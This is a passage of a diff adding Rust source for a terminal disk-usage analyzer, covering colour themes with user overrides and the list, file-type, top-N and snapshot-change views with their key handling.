diff_shrink: rgb(0x5a, 0xd0, 0x7a),
|
||||||
|
diff_new: rgb(0x4f, 0xa8, 0xff),
|
||||||
|
diff_same: rgb(0x50, 0x56, 0x60),
|
||||||
|
..Theme::default()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dark_theme() -> Theme {
|
||||||
|
let mut t = default_theme();
|
||||||
|
t.name = "dark";
|
||||||
|
(t.bg, t.panel_bg) = (rgb(0, 0, 0), rgb(0x0c, 0x0c, 0x0e));
|
||||||
|
(t.header_bg, t.status_bg) = (rgb(0x12, 0x12, 0x16), rgb(0x1a, 0x1a, 0x20));
|
||||||
|
for c in t.cat.iter_mut() {
|
||||||
|
*c = c.mix(rgb(0, 0, 0), 0.2);
|
||||||
|
}
|
||||||
|
t
|
||||||
|
}
|
||||||
|
|
||||||
|
fn high_contrast_theme() -> Theme {
|
||||||
|
let mut t = default_theme();
|
||||||
|
t.name = "high-contrast";
|
||||||
|
(t.bg, t.fg, t.muted) = (rgb(0, 0, 0), rgb(0xff, 0xff, 0xff), rgb(0xd0, 0xd0, 0xd0));
|
||||||
|
(t.header_bg, t.status_bg, t.panel_bg) = (rgb(0, 0, 0), rgb(0x20, 0x20, 0x20), rgb(0, 0, 0));
|
||||||
|
(t.sel, t.accent) = (rgb(0xff, 0xff, 0x00), rgb(0x00, 0xff, 0xff));
|
||||||
|
t.cat = [
|
||||||
|
rgb(0xb0, 0xb0, 0xb0),
|
||||||
|
rgb(0xff, 0xd7, 0x00),
|
||||||
|
rgb(0xff, 0x30, 0x30),
|
||||||
|
rgb(0xff, 0x8c, 0x00),
|
||||||
|
rgb(0xff, 0x00, 0xff),
|
||||||
|
rgb(0x9b, 0x7b, 0xff),
|
||||||
|
rgb(0x00, 0xe5, 0xff),
|
||||||
|
rgb(0x00, 0xff, 0x00),
|
||||||
|
rgb(0x40, 0x9c, 0xff),
|
||||||
|
rgb(0xff, 0x55, 0x55),
|
||||||
|
rgb(0xc8, 0xff, 0x00),
|
||||||
|
rgb(0x90, 0x90, 0xa0),
|
||||||
|
];
|
||||||
|
t
|
||||||
|
}
|
||||||
|
|
||||||
|
fn mono_theme() -> Theme {
|
||||||
|
Theme { name: "mono", mono: true, ..Theme::default() }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns a built-in theme with user overrides applied.
|
||||||
|
pub(crate) fn load_theme(name: &str, s: &Settings) -> Theme {
|
||||||
|
let mut t = match name.to_lowercase().as_str() {
|
||||||
|
"dark" => dark_theme(),
|
||||||
|
"high-contrast" => high_contrast_theme(),
|
||||||
|
"mono" => mono_theme(),
|
||||||
|
_ => default_theme(),
|
||||||
|
};
|
||||||
|
if t.mono {
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
for (k, v) in &s.category_colors {
|
||||||
|
if let (Some(c), Some(col)) = (parse_category(k), Color::hex(v)) {
|
||||||
|
t.cat[c as usize] = col;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (k, v) in &s.extension_colors {
|
||||||
|
if let Some(col) = Color::hex(v) {
|
||||||
|
let key = k.strip_prefix('.').unwrap_or(k).to_lowercase();
|
||||||
|
t.ext.get_or_insert_with(HashMap::new).insert(key, col);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Theme {
|
||||||
|
pub fn base(&self) -> Style {
|
||||||
|
Style::new(self.fg, self.bg)
|
||||||
|
}
|
||||||
|
pub fn muted(&self) -> Style {
|
||||||
|
Style::new(self.muted, self.bg)
|
||||||
|
}
|
||||||
|
pub fn header(&self) -> Style {
|
||||||
|
Style::new(self.header_fg, self.header_bg)
|
||||||
|
}
|
||||||
|
pub fn status(&self) -> Style {
|
||||||
|
Style::new(self.status_fg, self.status_bg)
|
||||||
|
}
|
||||||
|
pub fn panel(&self) -> Style {
|
||||||
|
Style::new(self.fg, self.panel_bg)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn box_chars(&self) -> BoxChars {
|
||||||
|
if self.ascii {
|
||||||
|
BOX_ASCII
|
||||||
|
} else {
|
||||||
|
BOX_LIGHT
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn sel_box(&self) -> BoxChars {
|
||||||
|
if self.ascii {
|
||||||
|
BOX_ASCII_SEL
|
||||||
|
} else {
|
||||||
|
BOX_DOUBLE
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Picks a readable text colour for a background.
|
||||||
|
pub fn text_on(&self, bg: Color) -> Color {
|
||||||
|
if bg.is_default() {
|
||||||
|
return self.fg;
|
||||||
|
}
|
||||||
|
if bg.luma() > 0.55 {
|
||||||
|
return rgb(0x10, 0x12, 0x16);
|
||||||
|
}
|
||||||
|
rgb(0xf2, 0xf4, 0xf7)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,535 @@
|
|||||||
|
//! The Tab-cycled main views and their dispatch.
|
||||||
|
|
||||||
|
use super::actions::DupView;
|
||||||
|
use super::canvas::{Canvas, Color, Style, BOLD};
|
||||||
|
use super::infoview::InfoView;
|
||||||
|
use super::mapview::{map_key, map_paint, map_wheel};
|
||||||
|
use super::model::{Cmd, Model};
|
||||||
|
use super::modals::new_info_modal;
|
||||||
|
use super::table::{col, Table, TableRow};
|
||||||
|
use super::{fmt_date, san};
|
||||||
|
use crate::inventory::{ExtStat, Kind, NodeId, SizeMode, TopK, Tree, FLAG_DELETED, FLAG_HARDLINKED, FLAG_HARDLINK_DUP, FLAG_SPARSE, NO_NODE};
|
||||||
|
use crate::snapshot::{Change, Status};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::rc::Rc;
|
||||||
|
|
||||||
|
/// One of the Tab-cycled main views. Taken is a placeholder while a view
|
||||||
|
/// is borrowed out of the model to run one of its methods.
|
||||||
|
pub(crate) enum View {
|
||||||
|
Map,
|
||||||
|
List(ListView),
|
||||||
|
Ext(ExtView),
|
||||||
|
Top(TopView),
|
||||||
|
Info(InfoView),
|
||||||
|
Changes(ChangesView),
|
||||||
|
Dups(DupView),
|
||||||
|
Taken,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl View {
|
||||||
|
pub fn name(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
View::Map => "Map",
|
||||||
|
View::List(_) => "List",
|
||||||
|
View::Ext(_) => "Types",
|
||||||
|
View::Top(_) => "Top",
|
||||||
|
View::Info(_) => "Scan",
|
||||||
|
View::Changes(_) => "Changes",
|
||||||
|
View::Dups(_) => "Dups",
|
||||||
|
View::Taken => "",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn table_mut(&mut self) -> Option<&mut Table> {
|
||||||
|
match self {
|
||||||
|
View::List(v) => Some(&mut v.tb),
|
||||||
|
View::Ext(v) => Some(&mut v.tb),
|
||||||
|
View::Top(v) => Some(&mut v.tb),
|
||||||
|
View::Info(v) => Some(&mut v.tb),
|
||||||
|
View::Changes(v) => Some(&mut v.tb),
|
||||||
|
View::Dups(v) => Some(&mut v.tb),
|
||||||
|
View::Map | View::Taken => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
/// Runs f on the current view, temporarily moved out of the model.
|
||||||
|
fn with_view<R>(&mut self, f: impl FnOnce(&mut View, &mut Model) -> R) -> R {
|
||||||
|
let i = self.view;
|
||||||
|
let mut v = std::mem::replace(&mut self.views[i], View::Taken);
|
||||||
|
let r = f(&mut v, self);
|
||||||
|
self.views[i] = v;
|
||||||
|
r
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn paint_view(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
self.with_view(|v, m| match v {
|
||||||
|
View::Map => map_paint(m, tr, cv, r),
|
||||||
|
View::List(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Ext(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Top(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Info(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Changes(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Dups(v) => v.paint(m, tr, cv, r),
|
||||||
|
View::Taken => {}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn view_key(&mut self, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
self.with_view(|v, m| match v {
|
||||||
|
View::Map => map_key(m, k),
|
||||||
|
View::List(v) => v.key(m, tr, k),
|
||||||
|
View::Ext(v) => v.key(m, tr, k),
|
||||||
|
View::Top(v) => v.key(m, tr, k),
|
||||||
|
View::Info(v) => v.key(m, tr, k),
|
||||||
|
View::Changes(v) => v.key(m, tr, k),
|
||||||
|
View::Dups(v) => v.key(m, tr, k),
|
||||||
|
View::Taken => (false, Cmd::None),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn view_wheel(&mut self, tr: &Tree, up: bool) -> Cmd {
|
||||||
|
self.with_view(|v, m| {
|
||||||
|
match v {
|
||||||
|
View::Map => return map_wheel(m, tr, up),
|
||||||
|
View::List(v) => v.wheel(m, tr, up),
|
||||||
|
View::Ext(v) => {
|
||||||
|
let n = v.stats(m, tr).len();
|
||||||
|
v.tb.scroll(up, n)
|
||||||
|
}
|
||||||
|
View::Top(v) => v.tb.scroll(up, v.ids.len()),
|
||||||
|
View::Info(v) => v.tb.scroll(up, tr.stats.errors.len()),
|
||||||
|
View::Changes(v) => v.tb.scroll(up, v.rows.as_ref().map_or(0, |r| r.len())),
|
||||||
|
View::Dups(v) => v.tb.scroll(up, v.rows.len()),
|
||||||
|
View::Taken => {}
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_view_by_name(&mut self, n: &str) {
|
||||||
|
for i in 0..self.views.len() {
|
||||||
|
if self.views[i].name() == n {
|
||||||
|
self.set_view(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Directory list -------------------------------------------------------
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct ListView {
|
||||||
|
tb: Table,
|
||||||
|
last_sel: i64,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ListView {
|
||||||
|
/// Reconciles the table cursor with the shared selection: if the
|
||||||
|
/// selection changed elsewhere (treemap, jump) the cursor follows it;
|
||||||
|
/// otherwise the cursor (moved by keys or clicks) drives the selection.
|
||||||
|
fn sync(&mut self, m: &mut Model, tr: &Tree) {
|
||||||
|
let k = m.kids_of(tr, m.zoom);
|
||||||
|
if m.sel != self.last_sel {
|
||||||
|
for (i, &id) in k.ids.iter().enumerate() {
|
||||||
|
if id as i64 == m.sel {
|
||||||
|
self.tb.cursor = i as i32;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if self.tb.at() < k.ids.len() {
|
||||||
|
m.sel = k.ids[self.tb.at()] as i64;
|
||||||
|
}
|
||||||
|
self.last_sel = m.sel;
|
||||||
|
}
|
||||||
|
|
||||||
|
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let k = m.kids_of(tr, m.zoom);
|
||||||
|
self.sync(m, tr);
|
||||||
|
let total = m.size_of(tr, m.zoom);
|
||||||
|
let mut rows: Vec<TableRow> = Vec::with_capacity(k.ids.len());
|
||||||
|
for (i, &id) in k.ids.iter().enumerate() {
|
||||||
|
let n = tr.node(id);
|
||||||
|
let mut name = san(&n.name);
|
||||||
|
let mut files = String::new();
|
||||||
|
if n.is_dir() {
|
||||||
|
name.push('/');
|
||||||
|
files = textutil::count(n.files as i64);
|
||||||
|
}
|
||||||
|
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() };
|
||||||
|
let c = m.color_of(tr, id as i64);
|
||||||
|
let mut name_st = Style::new(c.mix(t.fg, 0.45), t.bg);
|
||||||
|
if n.is_dir() {
|
||||||
|
name_st.attr = BOLD;
|
||||||
|
}
|
||||||
|
let frac = if k.sizes[0] > 0 { k.sizes[i] as f64 / k.sizes[0] as f64 } else { 0.0 };
|
||||||
|
let muted = Some(Style::new(t.muted, t.bg));
|
||||||
|
let mut row = TableRow {
|
||||||
|
cells: vec![textutil::size(k.sizes[i]), textutil::percent(k.sizes[i], total), String::new(), files, modified, name],
|
||||||
|
styles: vec![None, muted, None, muted, muted, Some(name_st)],
|
||||||
|
bar: frac,
|
||||||
|
bar_col: c,
|
||||||
|
};
|
||||||
|
if let Some(d) = &m.opts.diff {
|
||||||
|
row.cells[4] = textutil::signed_size(d.delta(tr, id, m.size_mode));
|
||||||
|
}
|
||||||
|
rows.push(row);
|
||||||
|
}
|
||||||
|
let mut cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("", 12, false, false),
|
||||||
|
col("FILES", 10, true, false), col("MODIFIED", 10, false, false), col("NAME", 0, false, false)];
|
||||||
|
if m.opts.diff.is_some() {
|
||||||
|
cols[4] = col("CHANGE", 12, true, false);
|
||||||
|
}
|
||||||
|
if r.w < 70 {
|
||||||
|
cols = vec![col("SIZE", 10, true, false), col("%", 5, true, false), col("NAME", 0, false, false)];
|
||||||
|
for row in rows.iter_mut() {
|
||||||
|
row.cells = vec![std::mem::take(&mut row.cells[0]), std::mem::take(&mut row.cells[1]), std::mem::take(&mut row.cells[5])];
|
||||||
|
row.styles = vec![None, row.styles[1], row.styles[5]];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.tb.paint(m, cv, r, &cols, &rows, "");
|
||||||
|
self.sync(m, tr);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
self.sync(m, tr);
|
||||||
|
let n = m.kids_of(tr, m.zoom).ids.len();
|
||||||
|
let handled = self.tb.key(k, n);
|
||||||
|
self.sync(m, tr);
|
||||||
|
(handled, Cmd::None)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wheel(&mut self, m: &mut Model, tr: &Tree, up: bool) {
|
||||||
|
self.sync(m, tr);
|
||||||
|
let n = m.kids_of(tr, m.zoom).ids.len();
|
||||||
|
self.tb.scroll(up, n);
|
||||||
|
self.sync(m, tr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Extension statistics ------------------------------------------------
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct ExtView {
|
||||||
|
tb: Table,
|
||||||
|
cache: Option<Rc<Vec<ExtStat>>>,
|
||||||
|
cache_key: (NodeId, u64),
|
||||||
|
}
|
||||||
|
|
||||||
|
fn pick(m: &Model, s: &ExtStat) -> i64 {
|
||||||
|
if m.size_mode == SizeMode::Logical {
|
||||||
|
s.size
|
||||||
|
} else {
|
||||||
|
s.alloc
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ExtView {
|
||||||
|
fn stats(&mut self, m: &Model, tr: &Tree) -> Rc<Vec<ExtStat>> {
|
||||||
|
let k = (m.zoom, m.data_ver * 2 + m.size_mode as u64);
|
||||||
|
if self.cache.is_none() || self.cache_key != k {
|
||||||
|
let mut v = tr.ext_stats(m.zoom);
|
||||||
|
v.sort_by(|a, b| pick(m, b).cmp(&pick(m, a)).then_with(|| a.ext.cmp(&b.ext)));
|
||||||
|
self.cache = Some(Rc::new(v));
|
||||||
|
self.cache_key = k;
|
||||||
|
}
|
||||||
|
self.cache.clone().unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let st = self.stats(m, tr);
|
||||||
|
let total: i64 = st.iter().map(|s| pick(m, s)).sum();
|
||||||
|
let v0 = st.first().map_or(0, |s| pick(m, s));
|
||||||
|
let rows: Vec<TableRow> = st
|
||||||
|
.iter()
|
||||||
|
.map(|s| {
|
||||||
|
let ext = if s.ext.is_empty() { "(none)".to_string() } else { format!(".{}", s.ext) };
|
||||||
|
let c = t.ext.as_ref().and_then(|e| e.get(&s.ext)).copied().unwrap_or(t.cat[s.cat as usize]);
|
||||||
|
let frac = if v0 > 0 { pick(m, s) as f64 / v0 as f64 } else { 0.0 };
|
||||||
|
TableRow {
|
||||||
|
cells: vec![textutil::sanitize(&ext), s.cat.name().into(), textutil::count(s.count), textutil::size(pick(m, s)),
|
||||||
|
textutil::percent(pick(m, s), total), String::new()],
|
||||||
|
styles: vec![Some(Style::new(c, t.bg).with(BOLD)), Some(Style::new(t.muted, t.bg)), None, None,
|
||||||
|
Some(Style::new(t.muted, t.bg)), None],
|
||||||
|
bar: frac,
|
||||||
|
bar_col: c,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
let cols = [col("EXTENSION", 14, false, false), col("CATEGORY", 12, false, false), col("FILES", 11, true, false),
|
||||||
|
col("SIZE", 10, true, false), col("%", 5, true, false), col("", 0, false, false)];
|
||||||
|
let title = format!("File types under {} — Enter filters the map by extension", san(&tr.node(m.zoom).name));
|
||||||
|
self.tb.paint(m, cv, r, &cols, &rows, &title);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
let st = self.stats(m, tr);
|
||||||
|
if self.tb.key(k, st.len()) {
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
if (k == "enter" || k == "space") && self.tb.at() < st.len() {
|
||||||
|
let e = &st[self.tb.at()].ext;
|
||||||
|
let q = if e.is_empty() { "type = file AND ext = \"\"".to_string() } else { format!("ext = \"{e}\"") };
|
||||||
|
m.set_view_by_name("Map");
|
||||||
|
return (true, m.set_filter(&q));
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Top-N investigation views --------------------------------------------
|
||||||
|
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Default)]
|
||||||
|
enum TopMode {
|
||||||
|
#[default]
|
||||||
|
Files,
|
||||||
|
Dirs,
|
||||||
|
Old,
|
||||||
|
New,
|
||||||
|
Count,
|
||||||
|
Sparse,
|
||||||
|
Hardlinks,
|
||||||
|
}
|
||||||
|
|
||||||
|
const TOP_MODES: [TopMode; 7] = [TopMode::Files, TopMode::Dirs, TopMode::Old, TopMode::New, TopMode::Count, TopMode::Sparse, TopMode::Hardlinks];
|
||||||
|
|
||||||
|
const TOP_NAMES: [&str; 7] = ["Largest files", "Largest directories (own files)", "Oldest large files", "Newest large files",
|
||||||
|
"Most files", "Sparse files", "Hard-linked files"];
|
||||||
|
|
||||||
|
const TOP_LIMIT: usize = 500;
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct TopView {
|
||||||
|
tb: Table,
|
||||||
|
mode: TopMode,
|
||||||
|
ids: Vec<NodeId>,
|
||||||
|
vals: Vec<i64>,
|
||||||
|
computed: bool,
|
||||||
|
cache_key: (NodeId, u64, u8),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl TopView {
|
||||||
|
fn compute(&mut self, m: &Model, tr: &Tree) {
|
||||||
|
let k = (m.zoom, m.data_ver * 2 + m.size_mode as u64, self.mode as u8);
|
||||||
|
if self.computed && self.cache_key == k {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
(self.cache_key, self.computed) = (k, true);
|
||||||
|
let is_file = |n: &crate::inventory::Node| n.kind == Kind::File && n.flags & (FLAG_HARDLINK_DUP | FLAG_DELETED) == 0;
|
||||||
|
let matches = |id: NodeId| m.search.result.as_ref().is_none_or(|r| r.size(id) > 0);
|
||||||
|
let mut tk = TopK::new(TOP_LIMIT);
|
||||||
|
let mut val: HashMap<NodeId, i64> = HashMap::new();
|
||||||
|
const LARGE_FILE: i64 = 1 << 20;
|
||||||
|
match self.mode {
|
||||||
|
TopMode::Dirs => {
|
||||||
|
let mut own: HashMap<NodeId, i64> = HashMap::new();
|
||||||
|
tr.walk(m.zoom, |id, n| {
|
||||||
|
if is_file(n) && matches(id) {
|
||||||
|
*own.entry(n.parent).or_default() += n.own(m.size_mode);
|
||||||
|
}
|
||||||
|
true
|
||||||
|
});
|
||||||
|
for (id, s) in own {
|
||||||
|
tk.offer(id, s);
|
||||||
|
val.insert(id, s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TopMode::Count => tr.walk(m.zoom, |id, n| {
|
||||||
|
if n.is_dir() && matches(id) {
|
||||||
|
let c = tr.child_count(id) as i64;
|
||||||
|
tk.offer(id, c);
|
||||||
|
val.insert(id, c);
|
||||||
|
}
|
||||||
|
true
|
||||||
|
}),
|
||||||
|
mode => tr.walk(m.zoom, |id, n| {
|
||||||
|
if !is_file(n) || !matches(id) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
let sz = n.own(m.size_mode);
|
||||||
|
match mode {
|
||||||
|
TopMode::Files => {
|
||||||
|
tk.offer(id, sz);
|
||||||
|
val.insert(id, sz);
|
||||||
|
}
|
||||||
|
TopMode::Old | TopMode::New => {
|
||||||
|
if sz >= LARGE_FILE && n.mtime > 0 {
|
||||||
|
tk.offer(id, if mode == TopMode::Old { -n.mtime } else { n.mtime });
|
||||||
|
val.insert(id, sz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TopMode::Sparse => {
|
||||||
|
if n.has(FLAG_SPARSE) {
|
||||||
|
tk.offer(id, n.size - n.alloc);
|
||||||
|
val.insert(id, n.size - n.alloc);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
TopMode::Hardlinks => {
|
||||||
|
if n.has(FLAG_HARDLINKED) {
|
||||||
|
tk.offer(id, n.size);
|
||||||
|
val.insert(id, n.size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
true
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
self.ids = tk.sorted();
|
||||||
|
self.vals = self.ids.iter().map(|id| val[id]).collect();
|
||||||
|
}
|
||||||
|
|
||||||
|
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
self.compute(m, tr);
|
||||||
|
let first = self.vals.first().copied().unwrap_or(0);
|
||||||
|
let mut rows = Vec::with_capacity(self.ids.len());
|
||||||
|
for (i, &id) in self.ids.iter().enumerate() {
|
||||||
|
let n = tr.node(id);
|
||||||
|
let val = if self.mode == TopMode::Count { textutil::count(self.vals[i]) } else { textutil::size(self.vals[i]) };
|
||||||
|
let modified = if n.mtime > 0 { fmt_date(n.mtime) } else { String::new() };
|
||||||
|
let frac = if first > 0 && self.mode != TopMode::Old && self.mode != TopMode::New {
|
||||||
|
self.vals[i] as f64 / first as f64
|
||||||
|
} else {
|
||||||
|
0.0
|
||||||
|
};
|
||||||
|
let c = m.color_of(tr, id as i64);
|
||||||
|
rows.push(TableRow {
|
||||||
|
cells: vec![val, modified, String::new(), san(&tr.path_bytes(id))],
|
||||||
|
styles: vec![None, Some(Style::new(t.muted, t.bg)), None, Some(Style::new(c.mix(t.fg, 0.45), t.bg))],
|
||||||
|
bar: frac,
|
||||||
|
bar_col: c,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let mut title = format!("◂ {} ▸ (←/→ change list · Enter details · Space jump to it)", TOP_NAMES[self.mode as usize]);
|
||||||
|
if m.search.result.is_some() {
|
||||||
|
title += " · filtered";
|
||||||
|
}
|
||||||
|
let val_title = match self.mode {
|
||||||
|
TopMode::Count => "ENTRIES",
|
||||||
|
TopMode::Sparse => "SAVED",
|
||||||
|
_ => "SIZE",
|
||||||
|
};
|
||||||
|
let cols = [col(val_title, 10, true, false), col("MODIFIED", 10, false, false), col("", 10, false, false), col("PATH", 0, false, true)];
|
||||||
|
self.tb.paint(m, cv, r, &cols, &rows, &title);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
self.compute(m, tr);
|
||||||
|
let n = TOP_MODES.len();
|
||||||
|
match k {
|
||||||
|
"left" | "h" => {
|
||||||
|
self.mode = TOP_MODES[(self.mode as usize + n - 1) % n];
|
||||||
|
self.tb.cursor = 0;
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"right" | "l" => {
|
||||||
|
self.mode = TOP_MODES[(self.mode as usize + 1) % n];
|
||||||
|
self.tb.cursor = 0;
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
if self.tb.key(k, self.ids.len()) {
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
if self.tb.at() < self.ids.len() {
|
||||||
|
let id = self.ids[self.tb.at()];
|
||||||
|
match k {
|
||||||
|
"enter" => {
|
||||||
|
let md = new_info_modal(m, tr, id);
|
||||||
|
m.open_modal(md);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"space" => {
|
||||||
|
m.jump_to(tr, id);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"c" | "o" | "d" => m.sel = id as i64,
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- Snapshot comparison -----------------------------------------------------
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct ChangesView {
|
||||||
|
tb: Table,
|
||||||
|
rows: Option<Vec<Change>>,
|
||||||
|
cache_key: Option<SizeMode>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ChangesView {
|
||||||
|
fn paint(&mut self, m: &mut Model, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = m.theme.clone();
|
||||||
|
let Some(d) = &m.opts.diff else { return };
|
||||||
|
if self.rows.is_none() || self.cache_key != Some(m.size_mode) {
|
||||||
|
self.rows = Some(d.changes(tr, 1000, m.size_mode));
|
||||||
|
self.cache_key = Some(m.size_mode);
|
||||||
|
}
|
||||||
|
let changes = self.rows.as_ref().unwrap();
|
||||||
|
let max_abs = changes.iter().map(|c| c.delta.abs()).fold(1, i64::max);
|
||||||
|
let rows: Vec<TableRow> = changes
|
||||||
|
.iter()
|
||||||
|
.map(|c| {
|
||||||
|
let col = match c.status {
|
||||||
|
Status::Added => t.diff_new,
|
||||||
|
Status::Removed => t.muted,
|
||||||
|
Status::Grew => t.diff_grow,
|
||||||
|
Status::Shrank => t.diff_shrink,
|
||||||
|
Status::Unchanged => Color::default(),
|
||||||
|
};
|
||||||
|
TableRow {
|
||||||
|
cells: vec![textutil::signed_size(c.delta), c.status.name().into(), textutil::size(c.old), textutil::size(c.new),
|
||||||
|
String::new(), textutil::sanitize(&c.path)],
|
||||||
|
styles: vec![Some(Style::new(col, t.bg).with(BOLD)), Some(Style::new(col, t.bg)), Some(Style::new(t.muted, t.bg)), None, None, None],
|
||||||
|
bar: c.delta.abs() as f64 / max_abs as f64,
|
||||||
|
bar_col: col,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
let cols = [col("CHANGE", 13, true, false), col("STATUS", 9, false, false), col("OLD", 10, true, false),
|
||||||
|
col("NEW", 10, true, false), col("", 10, false, false), col("PATH", 0, false, true)];
|
||||||
|
let (ro, rn) = (d.old.node(0).total(m.size_mode), tr.node(0).total(m.size_mode));
|
||||||
|
let title = format!("Changes {} → {} ({})", textutil::size(ro), textutil::size(rn), textutil::signed_size(rn - ro));
|
||||||
|
self.tb.paint(m, cv, r, &cols, &rows, &title);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
|
||||||
|
let n = self.rows.as_ref().map_or(0, |r| r.len());
|
||||||
|
if self.tb.key(k, n) {
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
if self.tb.at() < n {
|
||||||
|
let c = &self.rows.as_ref().unwrap()[self.tb.at()];
|
||||||
|
if c.node == NO_NODE {
|
||||||
|
if k == "enter" || k == "space" {
|
||||||
|
let msg = format!("Removed since the old snapshot: {}", textutil::sanitize(&c.path));
|
||||||
|
return (true, m.info(msg));
|
||||||
|
}
|
||||||
|
return (false, Cmd::None);
|
||||||
|
}
|
||||||
|
let id = c.node;
|
||||||
|
match k {
|
||||||
|
"enter" => {
|
||||||
|
let md = new_info_modal(m, tr, id);
|
||||||
|
m.open_modal(md);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
"space" => {
|
||||||
|
m.jump_to(tr, id);
|
||||||
|
return (true, Cmd::None);
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(false, Cmd::None)
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user